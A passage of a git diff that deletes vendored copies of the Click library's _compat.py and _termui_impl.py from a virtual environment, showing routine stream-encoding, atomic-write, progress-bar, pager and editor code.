True): - return t.cast(t.BinaryIO, buf) - - return None - - -def _stream_is_misconfigured(stream: t.TextIO) -> bool: - """A stream is misconfigured if its encoding is ASCII.""" - # If the stream does not have an encoding set, we assume it's set - # to ASCII. This appears to happen in certain unittest - # environments. It's not quite clear what the correct behavior is - # but this at least will force Click to recover somehow. - return is_ascii_encoding(getattr(stream, "encoding", None) or "ascii") - - -def _is_compat_stream_attr(stream: t.TextIO, attr: str, value: str | None) -> bool: - """A stream attribute is compatible if it is equal to the - desired value or the desired value is unset and the attribute - has a value. - """ - stream_value = getattr(stream, attr, None) - return stream_value == value or (value is None and stream_value is not None) - - -def _is_compatible_text_stream( - stream: t.TextIO, encoding: str | None, errors: str | None -) -> bool: - """Check if a stream's encoding and errors attributes are - compatible with the desired values. - """ - return _is_compat_stream_attr( - stream, "encoding", encoding - ) and _is_compat_stream_attr(stream, "errors", errors) - - -def _force_correct_text_stream( - text_stream: t.IO[t.Any], - encoding: str | None, - errors: str | None, - is_binary: t.Callable[[t.IO[t.Any], bool], bool], - find_binary: t.Callable[[t.IO[t.Any]], t.BinaryIO | None], - force_readable: bool = False, - force_writable: bool = False, -) -> t.TextIO: - if is_binary(text_stream, False): - binary_reader = t.cast(t.BinaryIO, text_stream) - else: - text_stream = t.cast(t.TextIO, text_stream) - # If the stream looks compatible, and won't default to a - # misconfigured ascii encoding, return it as-is. - if _is_compatible_text_stream(text_stream, encoding, errors) and not ( - encoding is None and _stream_is_misconfigured(text_stream) - ): - return text_stream - - # Otherwise, get the underlying binary reader. - possible_binary_reader = find_binary(text_stream) - - # If that's not possible, silently use the original reader - # and get mojibake instead of exceptions. - if possible_binary_reader is None: - return text_stream - - binary_reader = possible_binary_reader - - # Default errors to replace instead of strict in order to get - # something that works. - if errors is None: - errors = "replace" - - # Wrap the binary stream in a text stream with the correct - # encoding parameters. - return _make_text_stream( - binary_reader, - encoding, - errors, - force_readable=force_readable, - force_writable=force_writable, - ) - - -def _force_correct_text_reader( - text_reader: t.IO[t.Any], - encoding: str | None, - errors: str | None, - force_readable: bool = False, -) -> t.TextIO: - return _force_correct_text_stream( - text_reader, - encoding, - errors, - _is_binary_reader, - _find_binary_reader, - force_readable=force_readable, - ) - - -def _force_correct_text_writer( - text_writer: t.IO[t.Any], - encoding: str | None, - errors: str | None, - force_writable: bool = False, -) -> t.TextIO: - return _force_correct_text_stream( - text_writer, - encoding, - errors, - _is_binary_writer, - _find_binary_writer, - force_writable=force_writable, - ) - - -def get_binary_stdin() -> t.BinaryIO: - reader = _find_binary_reader(sys.stdin) - if reader is None: - raise RuntimeError("Was not able to determine binary stream for sys.stdin.") - return reader - - -def get_binary_stdout() -> t.BinaryIO: - writer = _find_binary_writer(sys.stdout) - if writer is None: - raise RuntimeError("Was not able to determine binary stream for sys.stdout.") - return writer - - -def get_binary_stderr() -> t.BinaryIO: - writer = _find_binary_writer(sys.stderr) - if writer is None: - raise RuntimeError("Was not able to determine binary stream for sys.stderr.") - return writer - - -def get_text_stdin(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stdin, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_reader(sys.stdin, encoding, errors, force_readable=True) - - -def get_text_stdout(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stdout, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_writer(sys.stdout, encoding, errors, force_writable=True) - - -def get_text_stderr(encoding: str | None = None, errors: str | None = None) -> t.TextIO: - rv = _get_windows_console_stream(sys.stderr, encoding, errors) - if rv is not None: - return rv - return _force_correct_text_writer(sys.stderr, encoding, errors, force_writable=True) - - -def _wrap_io_open( - file: str | os.PathLike[str] | int, - mode: str, - encoding: str | None, - errors: str | None, -) -> t.IO[t.Any]: - """Handles not passing ``encoding`` and ``errors`` in binary mode.""" - if "b" in mode: - return open(file, mode) - - return open(file, mode, encoding=encoding, errors=errors) - - -def open_stream( - filename: str | os.PathLike[str], - mode: str = "r", - encoding: str | None = None, - errors: str | None = "strict", - atomic: bool = False, -) -> tuple[t.IO[t.Any], bool]: - binary = "b" in mode - filename = os.fspath(filename) - - # Standard streams first. These are simple because they ignore the - # atomic flag. Use fsdecode to handle Path("-"). - if os.fsdecode(filename) == "-": - if any(m in mode for m in ["w", "a", "x"]): - if binary: - return get_binary_stdout(), False - return get_text_stdout(encoding=encoding, errors=errors), False - if binary: - return get_binary_stdin(), False - return get_text_stdin(encoding=encoding, errors=errors), False - - # Non-atomic writes directly go out through the regular open functions. - if not atomic: - return _wrap_io_open(filename, mode, encoding, errors), True - - # Some usability stuff for atomic writes - if "a" in mode: - raise ValueError( - "Appending to an existing file is not supported, because that" - " would involve an expensive `copy`-operation to a temporary" - " file. Open the file in normal `w`-mode and copy explicitly" - " if that's what you're after." - ) - if "x" in mode: - raise ValueError("Use the `overwrite`-parameter instead.") - if "w" not in mode: - raise ValueError("Atomic writes only make sense with `w`-mode.") - - # Atomic writes are more complicated. They work by opening a file - # as a proxy in the same folder and then using the fdopen - # functionality to wrap it in a Python file. Then we wrap it in an - # atomic file that moves the file over on close. - import errno - import random - - try: - perm: int | None = os.stat(filename).st_mode - except OSError: - perm = None - - flags = os.O_RDWR | os.O_CREAT | os.O_EXCL - - if binary: - flags |= getattr(os, "O_BINARY", 0) - - while True: - tmp_filename = os.path.join( - os.path.dirname(filename), - f".__atomic-write{random.randrange(1 << 32):08x}", - ) - try: - fd = os.open(tmp_filename, flags, 0o666 if perm is None else perm) - break - except OSError as e: - if e.errno == errno.EEXIST or ( - os.name == "nt" - and e.errno == errno.EACCES - and os.path.isdir(e.filename) - and os.access(e.filename, os.W_OK) - ): - continue - raise - - if perm is not None: - os.chmod(tmp_filename, perm) # in case perm includes bits in umask - - f = _wrap_io_open(fd, mode, encoding, errors) - af = _AtomicFile(f, tmp_filename, os.path.realpath(filename)) - return t.cast(t.IO[t.Any], af), True - - -class _AtomicFile: - def __init__(self, f: t.IO[t.Any], tmp_filename: str, real_filename: str) -> None: - self._f = f - self._tmp_filename = tmp_filename - self._real_filename = real_filename - self.closed = False - - @property - def name(self) -> str: - return self._real_filename - - def close(self, delete: bool = False) -> None: - if self.closed: - return - self._f.close() - os.replace(self._tmp_filename, self._real_filename) - self.closed = True - - def __getattr__(self, name: str) -> t.Any: - return getattr(self._f, name) - - def __enter__(self) -> _AtomicFile: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.close(delete=exc_type is not None) - - def __repr__(self) -> str: - return repr(self._f) - - -def strip_ansi(value: str) -> str: - return _ansi_re.sub("", value) - - -def _is_jupyter_kernel_output(stream: t.IO[t.Any]) -> bool: - while isinstance(stream, (_FixupStream, _NonClosingTextIOWrapper)): - stream = stream._stream - - return stream.__class__.__module__.startswith("ipykernel.") - - -def should_strip_ansi( - stream: t.IO[t.Any] | None = None, color: bool | None = None -) -> bool: - if color is None: - if stream is None: - stream = sys.stdin - elif hasattr(stream, "color"): - # ._termui_impl.MaybeStripAnsi handles stripping ansi itself, - # so we don't need to strip it here - return False - return not isatty(stream) and not _is_jupyter_kernel_output(stream) - return not color - - -# On Windows, wrap the output streams with colorama to support ANSI -# color codes. -# NOTE: double check is needed so mypy does not analyze this on Linux -if sys.platform.startswith("win") and WIN: - from ._winconsole import _get_windows_console_stream - - def _get_argv_encoding() -> str: - import locale - - return locale.getpreferredencoding() - - _ansi_stream_wrappers: cabc.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() - - def auto_wrap_for_ansi(stream: t.TextIO, color: bool | None = None) -> t.TextIO: - """Support ANSI color and style codes on Windows by wrapping a - stream with colorama. - """ - try: - cached = _ansi_stream_wrappers.get(stream) - except Exception: - cached = None - - if cached is not None: - return cached - - import colorama - - strip = should_strip_ansi(stream, color) - ansi_wrapper = colorama.AnsiToWin32(stream, strip=strip) - rv = t.cast(t.TextIO, ansi_wrapper.stream) - _write = rv.write - - def _safe_write(s: str) -> int: - try: - return _write(s) - except BaseException: - ansi_wrapper.reset_all() - raise - - rv.write = _safe_write # type: ignore[method-assign] - - try: - _ansi_stream_wrappers[stream] = rv - except Exception: - pass - - return rv - -else: - - def _get_argv_encoding() -> str: - return getattr(sys.stdin, "encoding", None) or sys.getfilesystemencoding() - - def _get_windows_console_stream( - f: t.TextIO, encoding: str | None, errors: str | None - ) -> t.TextIO | None: - return None - - -def term_len(x: str) -> int: - return len(strip_ansi(x)) - - -def isatty(stream: t.IO[t.Any]) -> bool: - try: - return stream.isatty() - except Exception: - return False - - -def _make_cached_stream_func( - src_func: t.Callable[[], t.TextIO | None], - wrapper_func: t.Callable[[], t.TextIO], -) -> t.Callable[[], t.TextIO | None]: - cache: cabc.MutableMapping[t.TextIO, t.TextIO] = WeakKeyDictionary() - - def func() -> t.TextIO | None: - stream = src_func() - - if stream is None: - return None - - try: - rv = cache.get(stream) - except Exception: - rv = None - if rv is not None: - return rv - rv = wrapper_func() - try: - cache[stream] = rv - except Exception: - pass - return rv - - return func - - -_default_text_stdin = _make_cached_stream_func(lambda: sys.stdin, get_text_stdin) -_default_text_stdout = _make_cached_stream_func(lambda: sys.stdout, get_text_stdout) -_default_text_stderr = _make_cached_stream_func(lambda: sys.stderr, get_text_stderr) - - -binary_streams: cabc.Mapping[str, t.Callable[[], t.BinaryIO]] = { - "stdin": get_binary_stdin, - "stdout": get_binary_stdout, - "stderr": get_binary_stderr, -} - -text_streams: cabc.Mapping[str, t.Callable[[str | None, str | None], t.TextIO]] = { - "stdin": get_text_stdin, - "stdout": get_text_stdout, - "stderr": get_text_stderr, -} diff --git a/venv/Lib/site-packages/click/_termui_impl.py b/venv/Lib/site-packages/click/_termui_impl.py deleted file mode 100644 index fadae940625f8275fed17833d527c19e2422ef4e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/_termui_impl.py +++ /dev/null @@ -1,945 +0,0 @@ -""" -This module contains implementations for the termui module. To keep the -import time of Click down, some infrequently used functionality is -placed in this module and only imported as needed. -""" - -from __future__ import annotations - -import collections.abc as cabc -import contextlib -import io -import math -import os -import shlex -import sys -import time -import typing as t -from gettext import gettext as _ -from io import StringIO -from pathlib import Path -from types import TracebackType - -from ._compat import _default_text_stdout -from ._compat import CYGWIN -from ._compat import get_best_encoding -from ._compat import isatty -from ._compat import strip_ansi -from ._compat import term_len -from ._compat import WIN -from .exceptions import ClickException -from .utils import echo -from .utils import KeepOpenFile - -V = t.TypeVar("V") - - -class _BufferedTextPagerStream(t.Protocol): - buffer: t.BinaryIO - - -def _has_binary_buffer( - stream: t.BinaryIO | t.TextIO, -) -> t.TypeGuard[_BufferedTextPagerStream]: - # TextIO is wider than TextIOWrapper; text-only streams such as StringIO - # are valid TextIO values but do not expose a binary buffer to wrap. - return getattr(stream, "buffer", None) is not None - - -if os.name == "nt": - BEFORE_BAR = "\r" - AFTER_BAR = "\n" -else: - BEFORE_BAR = "\r\033[?25l" - AFTER_BAR = "\033[?25h\n" - - -class ProgressBar(t.Generic[V]): - def __init__( - self, - iterable: cabc.Iterable[V] | None, - length: int | None = None, - fill_char: str = "#", - empty_char: str = " ", - bar_template: str = "%(bar)s", - info_sep: str = " ", - hidden: bool = False, - show_eta: bool = True, - show_percent: bool | None = None, - show_pos: bool = False, - item_show_func: t.Callable[[V | None], str | None] | None = None, - label: str | None = None, - file: t.TextIO | None = None, - color: bool | None = None, - update_min_steps: int = 1, - width: int = 30, - ) -> None: - self.fill_char = fill_char - self.empty_char = empty_char - self.bar_template = bar_template - self.info_sep = info_sep - self.hidden = hidden - self.show_eta = show_eta - self.show_percent = show_percent - self.show_pos = show_pos - self.item_show_func = item_show_func - self.label: str = label or "" - - if file is None: - file = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if file is None: - file = StringIO() - - self.file = file - self.color = color - self.update_min_steps = update_min_steps - self._completed_intervals = 0 - self.width: int = width - self.autowidth: bool = width == 0 - - if length is None: - from operator import length_hint - - length = length_hint(iterable, -1) - - if length == -1: - length = None - if iterable is None: - if length is None: - raise TypeError("iterable or length is required") - iterable = t.cast("cabc.Iterable[V]", range(length)) - self.iter: cabc.Iterable[V] = iter(iterable) - self.length = length - self.pos: int = 0 - self.avg: list[float] = [] - self.last_eta: float - self.start: float - self.start = self.last_eta = time.time() - self.eta_known: bool = False - self.finished: bool = False - self.max_width: int | None = None - self.entered: bool = False - self.current_item: V | None = None - self._is_atty = isatty(self.file) - self._last_line: str | None = None - - def __enter__(self) -> ProgressBar[V]: - self.entered = True - self.render_progress() - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_value: BaseException | None, - tb: TracebackType | None, - ) -> None: - self.render_finish() - - def __iter__(self) -> cabc.Iterator[V]: - if not self.entered: - raise RuntimeError("You need to use progress bars in a with block.") - self.render_progress() - return self.generator() - - def __next__(self) -> V: - # Iteration is defined in terms of a generator function, - # returned by iter(self); use that to define next(). This works - # because `self.iter` is an iterable consumed by that generator, - # so it is re-entry safe. Calling `next(self.generator())` - # twice works and does "what you want". - return next(iter(self)) - - def render_finish(self) -> None: - if self.hidden or not self._is_atty: - return - self.file.write(AFTER_BAR) - self.file.flush() - - @property - def pct(self) -> float: - if self.finished: - return 1.0 - return min(self.pos / (float(self.length or 1) or 1), 1.0) - - @property - def time_per_iteration(self) -> float: - if not self.avg: - return 0.0 - return sum(self.avg) / float(len(self.avg)) - - @property - def eta(self) -> float: - if self.length is not None and not self.finished: - return self.time_per_iteration * (self.length - self.pos) - return 0.0 - - def format_eta(self) -> str: - if self.eta_known: - t = int(self.eta) - seconds = t % 60 - t //= 60 - minutes = t % 60 - t //= 60 - hours = t % 24 - t //= 24 - if t > 0: - return "{d}{day_label} {h:02}:{m:02}:{s:02}".format( - d=t, - day_label=_("d"), - h=hours, - m=minutes, - s=seconds, - ) - else: - return f"{hours:02}:{minutes:02}:{seconds:02}" - return "" - - def format_pos(self) -> str: - pos = str(self.pos) - if self.length is not None: - pos += f"/{self.length}" - return pos - - def format_pct(self) -> str: - return f"{int(self.pct * 100): 4}%"[1:] - - def format_bar(self) -> str: - if self.length is not None: - bar_length = int(self.pct * self.width) - bar = self.fill_char * bar_length - bar += self.empty_char * (self.width - bar_length) - elif self.finished: - bar = self.fill_char * self.width - else: - chars = list(self.empty_char * (self.width or 1)) - if self.time_per_iteration != 0: - chars[ - int( - (math.cos(self.pos * self.time_per_iteration) / 2.0 + 0.5) - * self.width - ) - ] = self.fill_char - bar = "".join(chars) - return bar - - def format_progress_line(self) -> str: - show_percent = self.show_percent - - info_bits = [] - if self.length is not None and show_percent is None: - show_percent = not self.show_pos - - if self.show_pos: - info_bits.append(self.format_pos()) - if show_percent: - info_bits.append(self.format_pct()) - if self.show_eta and self.eta_known and not self.finished: - info_bits.append(self.format_eta()) - if self.item_show_func is not None: - item_info = self.item_show_func(self.current_item) - if item_info is not None: - info_bits.append(item_info) - - return ( - self.bar_template - % { - "label": self.label, - "bar": self.format_bar(), - "info": self.info_sep.join(info_bits), - } - ).rstrip() - - def render_progress(self) -> None: - if self.hidden: - return - - if not self._is_atty: - # Only output the label once if the output is not a TTY. - if self._last_line != self.label: - self._last_line = self.label - echo(self.label, file=self.file, color=self.color) - return - - buf = [] - # Update width in case the terminal has been resized - if self.autowidth: - import shutil - - old_width = self.width - self.width = 0 - clutter_length = term_len(self.format_progress_line()) - new_width = max(0, shutil.get_terminal_size().columns - clutter_length) - if new_width < old_width and self.max_width is not None: - buf.append(BEFORE_BAR) - buf.append(" " * self.max_width) - self.max_width = new_width - self.width = new_width - - clear_width = self.width - if self.max_width is not None: - clear_width = self.max_width - - buf.append(BEFORE_BAR) - line = self.format_progress_line() - line_len = term_len(line) - if self.max_width is None or self.max_width < line_len: - self.max_width = line_len - - buf.append(line) - buf.append(" " * (clear_width - line_len)) - line = "".join(buf) - # Render the line only if it changed. - - if line != self._last_line: - self._last_line = line - echo(line, file=self.file, color=self.color, nl=False) - self.file.flush() - - def make_step(self, n_steps: int) -> None: - self.pos += n_steps - if self.length is not None and self.pos >= self.length: - self.finished = True - - if (time.time() - self.last_eta) < 1.0: - return - - self.last_eta = time.time() - - # self.avg is a rolling list of length <= 7 of steps where steps are - # defined as time elapsed divided by the total progress through - # self.length. - if self.pos: - step = (time.time() - self.start) / self.pos - else: - step = time.time() - self.start - - self.avg = self.avg[-6:] + [step] - - self.eta_known = self.length is not None - - def update(self, n_steps: int, current_item: V | None = None) -> None: - """Update the progress bar by advancing a specified number of - steps, and optionally set the ``current_item`` for this new - position. - - :param n_steps: Number of steps to advance. - :param current_item: Optional item to set as ``current_item`` - for the updated position. - - .. versionchanged:: 8.0 - Added the ``current_item`` optional parameter. - - .. versionchanged:: 8.0 - Only render when the number of steps meets the - ``update_min_steps`` threshold. - """ - if current_item is not None: - self.current_item = current_item - - self._completed_intervals += n_steps - - if self._completed_intervals >= self.update_min_steps: - self.make_step(self._completed_intervals) - self.render_progress() - self._completed_intervals = 0 - - def finish(self) -> None: - self.eta_known = False - self.current_item = None - self.finished = True - - def generator(self) -> cabc.Iterator[V]: - """Return a generator which yields the items added to the bar - during construction, and updates the progress bar *after* the - yielded block returns. - """ - # WARNING: the iterator interface for `ProgressBar` relies on - # this and only works because this is a simple generator which - # doesn't create or manage additional state. If this function - # changes, the impact should be evaluated both against - # `iter(bar)` and `next(bar)`. `next()` in particular may call - # `self.generator()` repeatedly, and this must remain safe in - # order for that interface to work. - if not self.entered: - raise RuntimeError("You need to use progress bars in a with block.") - - if not self._is_atty: - yield from self.iter - else: - for rv in self.iter: - self.current_item = rv - - # This allows show_item_func to be updated before the - # item is processed. Only trigger at the beginning of - # the update interval. - if self._completed_intervals == 0: - self.render_progress() - - yield rv - self.update(1) - - self.finish() - self.render_progress() - - -class MaybeStripAnsi(io.TextIOWrapper): - def __init__(self, stream: t.IO[bytes], *, color: bool, **kwargs: t.Any): - super().__init__(stream, **kwargs) - self.color = color - - def write(self, text: str) -> int: - if not self.color: - text = strip_ansi(text) - return super().write(text) - - -def _pager_contextmanager( - color: bool | None = None, -) -> t.ContextManager[tuple[t.BinaryIO | t.TextIO, str, bool]]: - """Decide what method to use for paging through text.""" - stdout = _default_text_stdout() - - # There are no standard streams attached to write to. For example, - # pythonw on Windows. - if stdout is None: - stdout = StringIO() - - if not isatty(sys.stdin) or not isatty(stdout): - return _nullpager(stdout, color) - - # Split using POSIX mode (the default) so that quote characters are - # stripped from tokens and quoted Windows paths are preserved. - # Non-POSIX mode retains quotes in tokens, and wrapping tokens - # with shlex.quote re-introduces quoting issues on Windows. - pager_cmd_parts = shlex.split(os.environ.get("PAGER", "")) - if pager_cmd_parts: - if WIN: - return _tempfilepager(pager_cmd_parts, color) - return _pipepager(pager_cmd_parts, color) - - if os.environ.get("TERM") in ("dumb", "emacs"): - return _nullpager(stdout, color) - if WIN or sys.platform.startswith("os2"): - return _tempfilepager(["more"], color) - return _pipepager(["less"], color) - - -@contextlib.contextmanager -def get_pager_file(color: bool | None = None) -> t.Generator[t.TextIO, None, None]: - """Context manager. - - Yields a writable file-like object which can be used as an output pager. - - .. versionadded:: 8.4.0 - - :param color: controls if the pager supports ANSI colors or not. The - default is autodetection. - """ - with _pager_contextmanager(color=color) as (stream, encoding, color): - # Split streams by capabilities rather than the abstract TextIO / - # BinaryIO annotations: buffered text streams can be unwrapped to bytes, - # while other streams are yielded as-is. - wrapper: MaybeStripAnsi | None = None - if _has_binary_buffer(stream): - # Text stream backed by a binary buffer. - wrapper = MaybeStripAnsi(stream.buffer, color=color, encoding=encoding) - stream = wrapper - try: - # Narrow the BinaryIO | TextIO union that _pager_contextmanager - # yields; the caller writes text to the pager. - yield t.cast(t.TextIO, stream) - finally: - try: - stream.flush() - finally: - # Hand the binary buffer back to the pager that produced it - # rather than letting this TextIOWrapper close it on garbage - # collection. The pager owns the buffer's lifecycle: subprocess - # pipes and temp files are closed by their own helpers, while a - # borrowed stdout must stay open for the caller. detach() runs - # even if flush() raised, so the buffer is never closed here. - if wrapper is not None: - wrapper.detach() - - -@contextlib.contextmanager -def _pipepager( - cmd_parts: list[str], color: bool | None = None -) -> t.Iterator[tuple[t.BinaryIO | t.TextIO, str, bool]]: - """Page through text by feeding it to another program. - - Invokes the pager via :class:`subprocess.Popen` with an ``argv`` list - produced by :func:`shlex.split`. The command is resolved to an absolute - path with :func:`shutil.which` as recommended by the - :mod:`subprocess` docs for Windows compatibility. - - Invoking a pager through this might support colors: if piping to - ``less`` and the user hasn't decided on colors, ``LESS=-R`` is set - automatically. - """ - # Split the command into the invoked CLI and its parameters. - if not cmd_parts: - # No usable pager: fall back to stdout through _nullpager so it gets the - # same borrowed-stream handling and the caller's stream is not closed. - stdout = _default_text_stdout() or StringIO() - with _nullpager(stdout, color) as rv: - yield rv - return - - import shutil - - cmd = cmd_parts[0] - cmd_params = cmd_parts[1:] - - cmd_filepath = shutil.which(cmd) - if not cmd_filepath: - # No usable pager: fall back to stdout through _nullpager so it gets the - # same borrowed-stream handling and the caller's stream is not closed. - stdout = _default_text_stdout() or StringIO() - with _nullpager(stdout, color) as rv: - yield rv - return - - # Produces a normalized absolute path string. - # multi-call binaries such as busybox derive their identity from the symlink - # less -> busybox. resolve() causes them to misbehave. (eg. less becomes busybox) - cmd_path = Path(cmd_filepath).absolute() - cmd_name = cmd_path.name - - import subprocess - - # Make a local copy of the environment to not affect the global one. - env = dict(os.environ) - - # If we're piping to less and the user hasn't decided on colors, we enable - # them by default we find the -R flag in the command line arguments. - if color is None and cmd_name == "less": - less_flags = f"{os.environ.get('LESS', '')}{' '.join(cmd_params)}" - if not less_flags: - env["LESS"] = "-R" - color = True - elif "r" in less_flags or "R" in less_flags: - color = True - - if color is None: - color = False - - c = subprocess.Popen( - [str(cmd_path)] + cmd_params, - shell=False, - stdin=subprocess.PIPE, - env=env, - errors="replace", - text=True, - ) - stdin = t.cast(t.BinaryIO, c.stdin) - encoding = get_best_encoding(stdin) - try: - yield stdin, encoding, color - except BrokenPipeError: - # In case the pager exited unexpectedly, ignore the broken pipe error. - pass - except Exception as e: - # In case there is an exception we want to close the pager immediately - # and let the caller handle it. - # Otherwise the pager will keep running, and the user may not notice - # the error message, or worse yet it may leave the terminal in a broken state. - c.terminate() - raise e - finally: - # We must close stdin and wait for the pager to exit before we continue - try: - stdin.close() - # Close implies flush, so it might throw a BrokenPipeError if the pager - # process exited already. - except BrokenPipeError: - pass - - # Less doesn't respect ^C, but catches it for its own UI purposes (aborting - # search or other commands inside less). - # - # That means when the user hits ^C, the parent process (click) terminates, - # but less is still alive, paging the output and messing up the terminal. - # - # If the user wants to make the pager exit on ^C, they should set - # `LESS='-K'`. It's not our decision to make. - while True: - try: - c.wait() - except KeyboardInterrupt: - pass - else: - break - - -@contextlib.contextmanager -def _tempfilepager( - cmd_parts: list[str], color: bool | None = None -) -> t.Iterator[tuple[t.BinaryIO | t.TextIO, str, bool]]: - """Page through text by invoking a program on a temporary file. - - Used as the primary pager strategy on Windows (where piping to - ``more`` adds spurious ``\\r\\n``), and as a fallback on other - platforms. The command is resolved to an absolute path with - :func:`shutil.which`. - """ - # Split the command into the invoked CLI and its parameters. - if not cmd_parts: - # No usable pager: fall back to stdout through _nullpager so it gets the - # same borrowed-stream handling and the caller's stream is not closed. - stdout = _default_text_stdout() or StringIO() - with _nullpager(stdout, color) as rv: - yield rv - return - - import shutil - import subprocess - - cmd = cmd_parts[0] - - cmd_filepath = shutil.which(cmd) - if not cmd_filepath: - # No usable pager: fall back to stdout through _nullpager so it gets the - # same borrowed-stream handling and the caller's stream is not closed. - stdout = _default_text_stdout() or StringIO() - with _nullpager(stdout, color) as rv: - yield rv - return - - # Produces a normalized absolute path string. - # multi-call binaries such as busybox derive their identity from the symlink - # less -> busybox. resolve() causes them to misbehave. (eg. less becomes busybox) - cmd_path = Path(cmd_filepath).absolute() - - import tempfile - - encoding = get_best_encoding(sys.stdout) - if color is None: - color = False - # On Windows, NamedTemporaryFile cannot be opened by another process - # while Python still has it open, so we use delete=False and clean up manually - # rather than using a contextmanager here. - f = tempfile.NamedTemporaryFile(mode="wb", delete=False) - try: - yield t.cast(t.BinaryIO, f), encoding, color - f.flush() - f.close() - subprocess.call([str(cmd_path), f.name]) - finally: - os.unlink(f.name) - - -@contextlib.contextmanager -def _nullpager( - stream: t.TextIO, color: bool | None = None -) -> t.Iterator[tuple[t.TextIO, str, bool]]: - """Simply print unformatted text. This is the ultimate fallback. Don't close the - output stream in this case, since it's coming from elsewhere rather than our - internal helpers. - - The stream is wrapped in :class:`~click.utils.KeepOpenFile` so that, as a - borrowed stream, it is not closed by a ``with`` block. The wrapper that - :func:`get_pager_file` builds around it is detached rather than closed. - """ - encoding = get_best_encoding(stream) - - if color is None: - color = False - - yield KeepOpenFile(stream), encoding, color # type: ignore[misc] - - -class Editor: - def __init__( - self, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - ) -> None: - self.editor = editor - self.env = env - self.require_save = require_save - self.extension = extension - - def get_editor(self) -> str: - if self.editor is not None: - return self.editor - for key in "VISUAL", "EDITOR": - rv = os.environ.get(key) - if rv: - return rv - if WIN: - return "notepad" - - from shutil import which - - for editor in "sensible-editor", "vim", "nano": - if which(editor) is not None: - return editor - return "vi" - - def edit_files(self, filenames: cabc.Iterable[str]) -> None: - """Open files in the user's editor.""" - import shlex - import subprocess - - editor = self.get_editor() - environ: dict[str, str] | None = None - - if self.env: - environ = os.environ.copy() - environ.update(self.env) - - try: - # Split in POSIX mode (the default) for the same reasons as - # in pager(): strips quotes from tokens and preserves quoted - # Windows paths. - c = subprocess.Popen( - args=shlex.split(editor) + list(filenames), - env=environ, - ) - exit_code = c.wait() - if exit_code != 0: - raise ClickException( - _("{editor}: Editing failed").format(editor=editor) - ) - except OSError as e: - raise ClickException( - _("{editor}: Editing failed: {e}").format(editor=editor, e=e) - ) from e - - @t.overload - def edit(self, text: bytes | bytearray) -> bytes | None: ... - - # We cannot know whether or not the type expected is str or bytes when None - # is passed, so str is returned as that was what was done before. - @t.overload - def edit(self, text: str | None) -> str | None: ... - - def edit(self, text: str | bytes | bytearray | None) -> str | bytes | None: - import tempfile - - if text is None: - data: bytes | bytearray = b"" - elif isinstance(text, (bytes, bytearray)): - data = text - else: - if text and not text.endswith("\n"): - text += "\n" - - if WIN: - data = text.replace("\n", "\r\n").encode("utf-8-sig") - else: - data = text.encode("utf-8") - - fd, name = tempfile.mkstemp(prefix="editor-", suffix=self.extension) - f: t.BinaryIO - - try: - with os.fdopen(fd, "wb") as f: - f.write(data) - - # If the filesystem resolution is 1 second, like Mac OS - # 10.12 Extended, or 2 seconds, like FAT32, and the editor - # closes very fast, require_save can fail. Set the modified - # time to be 2 seconds in the past to work around this. - os.utime(name, (os.path.getatime(name), os.path.getmtime(name) - 2)) - # Depending on the resolution, the exact value might not be - # recorded, so get the new recorded value. - timestamp = os.path.getmtime(name) - - self.edit_files((name,)) - - if self.require_save and os.path.getmtime(name) == timestamp: - return None - - with open(name, "rb") as f: - rv = f.read() - - if isinstance(text, (bytes, bytearray)): - return rv - - return rv.decode("utf-8-sig").replace("\r\n", "\n") - finally: - os.unlink(name) - - -def open_url(url: str, wait: bool = False, locate: bool = False) -> int: - import subprocess - - def _unquote_file(url: str) -> str: - from urllib.parse import unquote - - if url.startswith("file://"): - url = unquote(url[7:]) - - return url - - if sys.platform == "darwin": - args = ["open"] - if wait: - args.append("-W") - if locate: - args.append("-R") - args.append(_unquote_file(url)) - null = open("/dev/null", "w") - try: - return subprocess.Popen(args, stderr=null).wait() - finally: - null.close() - elif WIN: - if locate: - url = _unquote_file(url) - args = ["explorer", "/select,", url] - try: - return subprocess.call(args) - except OSError: - return 127 - else: - try: - os.startfile(url) # type: ignore[attr-defined] - except OSError: - return 127 - return 0 - elif CYGWIN: - if locate: - url = _unquote_file(url) - args = ["cygstart", os.path.dirname(url)] - else: - args = ["cygstart"] - if wait: - args.append("-w") - args.append(url) - try: - return subprocess.call(args) - except OSError: - # Command not found - return 127 - - try: - if locate: - url = os.path.dirname(_unquote_file(url)) or "." - else: - url = _unquote_file(url) - c = subprocess.Popen(["xdg-open", url]) - if wait: - return c.wait() - return 0 - except OSError: - if url.startswith(("http://", "https://")) and not locate and not wait: - import webbrowser - - webbrowser.open(url) - return 0 - return 1 - - -def _translate_ch_to_exc(ch: str) -> None: - if ch == "\x03": - raise KeyboardInterrupt() - - if ch == "\x04" and not WIN: # Unix-like, Ctrl+D - raise EOFError() - - if ch == "\x1a" and WIN: # Windows, Ctrl+Z - raise EOFError() - - -if sys.platform == "win32": - import msvcrt - - @contextlib.contextmanager - def raw_terminal() -> cabc.Iterator[int]: - yield -1 - - def getchar(echo: bool) -> str: - # The function `getch` will return a bytes object corresponding to - # the pressed character. Since Windows 10 build 1803, it will also - # return \x00 when called a second time after pressing a regular key. - # - # `getwch` does not share this probably-bugged behavior. Moreover, it - # returns a Unicode object by default, which is what we want. - # - # Either of these functions will return \x00 or \xe0 to indicate - # a special key, and you need to call the same function again to get - # the "rest" of the code. The fun part is that \u00e0 is - # "latin small letter a with grave", so if you type that on a French - # keyboard, you _also_ get a \xe0. - # E.g., consider the Up arrow. This returns \xe0 and then \x48. The - # resulting Unicode string reads as "a with grave" + "capital H". - # This is indistinguishable from when the user actually types - # "a with grave" and then "capital H". - # - # When \xe0 is returned, we assume it's part of a special-key sequence - # and call `getwch` again, but that means that when the user types - # the \u00e0 character, `getchar` doesn't return until a second - # character is typed. - # The alternative is returning immediately, but that would mess up - # cross-platform handling of arrow keys and others that start with - # \xe0. Another option is using `getch`, but then we can't reliably - # read 